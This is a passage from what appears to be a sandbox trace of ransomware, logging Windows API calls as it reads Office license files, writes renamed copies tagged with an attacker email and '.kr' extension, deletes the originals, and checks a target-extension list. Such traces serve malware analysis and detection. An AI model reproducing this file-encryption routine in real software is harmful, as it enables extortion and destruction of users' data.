"c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0199.811] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0199.811] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0199.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0199.812] GetLastError () returned 0x0 [0199.812] ReadFile (in: hFile=0x558, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x298b, lpOverlapped=0x0) returned 1 [0199.814] WriteFile (in: hFile=0x538, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2990, lpOverlapped=0x0) returned 1 [0199.815] ReadFile (in: hFile=0x558, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0199.815] WriteFile (in: hFile=0x538, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x106, lpOverlapped=0x0) returned 1 [0199.815] SetEndOfFile (hFile=0x538) returned 1 [0199.815] CloseHandle (hObject=0x538) returned 1 [0199.815] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0199.816] SetEndOfFile (hFile=0x558) returned 1 [0199.819] CloseHandle (hObject=0x558) returned 1 [0199.819] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0199.819] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms")) returned 1 [0199.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75 [0199.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75 [0199.820] lstrlenW (lpString=".doc") returned 4 [0199.820] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0199.820] lstrlenW (lpString=".docx") returned 5 [0199.820] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0199.820] lstrlenW (lpString=".pdf") returned 4 [0199.820] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0199.820] lstrlenW (lpString=".xls") returned 4 [0199.820] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0199.820] lstrlenW (lpString=".xlsx") returned 5 [0199.821] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0199.821] lstrlenW (lpString=".ppt") returned 4 [0199.821] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0199.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75 [0199.821] lstrlenW (lpString=".zip") returned 4 [0199.821] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0199.821] lstrlenW (lpString=".rar") returned 4 [0199.821] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0199.821] lstrlenW (lpString=".bz2") returned 4 [0199.821] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0199.821] lstrlenW (lpString=".7z") returned 3 [0199.821] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0199.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75 [0199.821] lstrlenW (lpString=".dbf") returned 4 [0199.821] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0199.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75 [0199.821] lstrlenW (lpString=".1cd") returned 4 [0199.821] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0199.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75 [0199.821] lstrlenW (lpString=".jpg") returned 4 [0199.821] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0199.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75 [0199.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75 [0199.821] lstrlenW (lpString=".doc") returned 4 [0199.821] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0199.821] lstrlenW (lpString=".docx") returned 5 [0199.822] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0199.822] lstrlenW (lpString=".pdf") returned 4 [0199.822] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0199.822] lstrlenW (lpString=".xls") returned 4 [0199.822] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0199.822] lstrlenW (lpString=".xlsx") returned 5 [0199.822] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0199.822] lstrlenW (lpString=".ppt") returned 4 [0199.822] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0199.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75 [0199.822] lstrlenW (lpString=".zip") returned 4 [0199.822] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0199.822] lstrlenW (lpString=".rar") returned 4 [0199.822] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0199.822] lstrlenW (lpString=".bz2") returned 4 [0199.822] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0199.822] lstrlenW (lpString=".7z") returned 3 [0199.822] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0199.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75 [0199.822] lstrlenW (lpString=".dbf") returned 4 [0199.822] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0199.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75 [0199.822] lstrlenW (lpString=".1cd") returned 4 [0199.822] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0199.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75 [0199.822] lstrlenW (lpString=".jpg") returned 4 [0199.822] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0199.823] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0199.823] lstrlenW (lpString="MondoR_OEM_Perp-ppd.xrm-ms") returned 26 [0199.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0199.823] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=26464) returned 1 [0199.823] CloseHandle (hObject=0x558) returned 1 [0199.823] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms")) returned 0x220 [0199.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0199.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0199.824] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0199.824] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0199.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0199.825] GetLastError () returned 0x0 [0199.825] ReadFile (in: hFile=0x558, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x6760, lpOverlapped=0x0) returned 1 [0199.828] WriteFile (in: hFile=0x538, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x6770, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x6770, lpOverlapped=0x0) returned 1 [0199.830] ReadFile (in: hFile=0x558, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0199.830] WriteFile (in: hFile=0x538, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x108, lpOverlapped=0x0) returned 1 [0199.830] SetEndOfFile (hFile=0x538) returned 1 [0199.830] CloseHandle (hObject=0x538) returned 1 [0199.830] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0199.830] SetEndOfFile (hFile=0x558) returned 1 [0200.009] CloseHandle (hObject=0x558) returned 1 [0200.009] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0200.252] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms")) returned 1 [0200.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76 [0200.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76 [0200.254] lstrlenW (lpString=".doc") returned 4 [0200.254] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0200.254] lstrlenW (lpString=".docx") returned 5 [0200.254] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0200.254] lstrlenW (lpString=".pdf") returned 4 [0200.254] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0200.254] lstrlenW (lpString=".xls") returned 4 [0200.254] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0200.254] lstrlenW (lpString=".xlsx") returned 5 [0200.254] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0200.254] lstrlenW (lpString=".ppt") returned 4 [0200.254] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0200.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76 [0200.254] lstrlenW (lpString=".zip") returned 4 [0200.254] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0200.254] lstrlenW (lpString=".rar") returned 4 [0200.254] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0200.254] lstrlenW (lpString=".bz2") returned 4 [0200.254] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0200.254] lstrlenW (lpString=".7z") returned 3 [0200.254] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0200.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76 [0200.254] lstrlenW (lpString=".dbf") returned 4 [0200.254] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0200.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76 [0200.255] lstrlenW (lpString=".1cd") returned 4 [0200.255] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0200.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76 [0200.255] lstrlenW (lpString=".jpg") returned 4 [0200.255] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0200.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76 [0200.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76 [0200.255] lstrlenW (lpString=".doc") returned 4 [0200.255] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0200.255] lstrlenW (lpString=".docx") returned 5 [0200.255] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0200.255] lstrlenW (lpString=".pdf") returned 4 [0200.255] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0200.255] lstrlenW (lpString=".xls") returned 4 [0200.255] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0200.255] lstrlenW (lpString=".xlsx") returned 5 [0200.255] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0200.255] lstrlenW (lpString=".ppt") returned 4 [0200.255] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0200.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76 [0200.255] lstrlenW (lpString=".zip") returned 4 [0200.255] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0200.255] lstrlenW (lpString=".rar") returned 4 [0200.255] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0200.255] lstrlenW (lpString=".bz2") returned 4 [0200.255] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0200.255] lstrlenW (lpString=".7z") returned 3 [0200.255] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0200.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76 [0200.256] lstrlenW (lpString=".dbf") returned 4 [0200.256] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0200.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76 [0200.256] lstrlenW (lpString=".1cd") returned 4 [0200.256] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0200.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76 [0200.256] lstrlenW (lpString=".jpg") returned 4 [0200.256] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0200.256] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0200.256] lstrlenW (lpString="MondoR_Subscription-ul-oob.xrm-ms") returned 33 [0200.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0200.257] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=11612) returned 1 [0200.257] CloseHandle (hObject=0x550) returned 1 [0200.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms")) returned 0x220 [0200.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0200.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0200.258] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0200.258] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0200.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0200.259] GetLastError () returned 0x0 [0200.259] ReadFile (in: hFile=0x550, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2d5c, lpOverlapped=0x0) returned 1 [0200.261] WriteFile (in: hFile=0x568, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2d60, lpOverlapped=0x0) returned 1 [0200.262] ReadFile (in: hFile=0x550, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0200.262] WriteFile (in: hFile=0x568, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x116, lpOverlapped=0x0) returned 1 [0200.262] SetEndOfFile (hFile=0x568) returned 1 [0200.263] CloseHandle (hObject=0x568) returned 1 [0200.263] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0200.263] SetEndOfFile (hFile=0x550) returned 1 [0200.265] CloseHandle (hObject=0x550) returned 1 [0200.266] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0200.266] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms")) returned 1 [0200.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83 [0200.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83 [0200.267] lstrlenW (lpString=".doc") returned 4 [0200.267] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0200.267] lstrlenW (lpString=".docx") returned 5 [0200.267] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0200.267] lstrlenW (lpString=".pdf") returned 4 [0200.267] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0200.267] lstrlenW (lpString=".xls") returned 4 [0200.267] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0200.267] lstrlenW (lpString=".xlsx") returned 5 [0200.267] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0200.267] lstrlenW (lpString=".ppt") returned 4 [0200.267] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0200.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83 [0200.267] lstrlenW (lpString=".zip") returned 4 [0200.267] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0200.267] lstrlenW (lpString=".rar") returned 4 [0200.267] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0200.267] lstrlenW (lpString=".bz2") returned 4 [0200.267] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0200.267] lstrlenW (lpString=".7z") returned 3 [0200.268] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0200.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83 [0200.268] lstrlenW (lpString=".dbf") returned 4 [0200.268] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0200.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83 [0200.268] lstrlenW (lpString=".1cd") returned 4 [0200.268] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0200.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83 [0200.268] lstrlenW (lpString=".jpg") returned 4 [0200.268] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0200.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83 [0200.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83 [0200.268] lstrlenW (lpString=".doc") returned 4 [0200.268] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0200.268] lstrlenW (lpString=".docx") returned 5 [0200.268] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0200.268] lstrlenW (lpString=".pdf") returned 4 [0200.268] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0200.268] lstrlenW (lpString=".xls") returned 4 [0200.268] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0200.268] lstrlenW (lpString=".xlsx") returned 5 [0200.268] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0200.268] lstrlenW (lpString=".ppt") returned 4 [0200.268] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0200.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83 [0200.268] lstrlenW (lpString=".zip") returned 4 [0200.269] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0200.269] lstrlenW (lpString=".rar") returned 4 [0200.269] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0200.269] lstrlenW (lpString=".bz2") returned 4 [0200.269] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0200.269] lstrlenW (lpString=".7z") returned 3 [0200.269] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0200.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83 [0200.269] lstrlenW (lpString=".dbf") returned 4 [0200.269] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0200.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83 [0200.269] lstrlenW (lpString=".1cd") returned 4 [0200.269] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0200.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83 [0200.269] lstrlenW (lpString=".jpg") returned 4 [0200.269] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0200.269] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0200.269] lstrlenW (lpString="MondoR_Subscription2-pl.xrm-ms") returned 30 [0200.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0200.270] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=11171) returned 1 [0200.270] CloseHandle (hObject=0x550) returned 1 [0200.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms")) returned 0x220 [0200.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" 